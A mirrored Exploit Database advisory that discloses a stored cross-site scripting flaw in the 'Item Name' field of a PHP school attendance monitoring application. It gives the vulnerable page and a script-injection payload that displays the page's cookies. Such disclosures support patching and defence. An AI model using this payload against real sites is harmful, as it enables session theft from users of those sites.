School Event Attendance Monitoring System 1.0 – ‘Item Name’ Stored Cross-Site Scripting

• Exploit Database
• 20 阅读

• 作者： Suresh Kumar
  日期： 2021-02-12
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49560/

• # Exploit Title: School Event Attendance Monitoring System 1.0 - 'Item Name' Stored Cross-Site Scripting
  # Date: 2021-02-11
  # Exploit Author: Suresh Kumar
  # Vendor Homepage: https://www.sourcecodester.com/
  # Software Link: https://www.sourcecodester.com/php/12613/php-attendance-monitoring-system-barcode-scanning.html
  # Software: School Event Attendance Monitoring System 1.0
  # Tested on Windows 10 XAMPP
  
  # This application is vulnerable to Stored XSS vulnerability.
  # Vulnerable Page: http://localhost/attendance/sanction
  # Vulnerable functionality: 'Add Sanction '
  # Vulnerable Input Field : Item Name
  # Payload used:
  
  "><script>alert(document.cookie)</script>
  
  # POC: Whenever we will go to the page (http://localhost/attendance/sanction)
  where the script is injected, the stored script will be executed.
  # You will see your Javascript code (XSS) executed.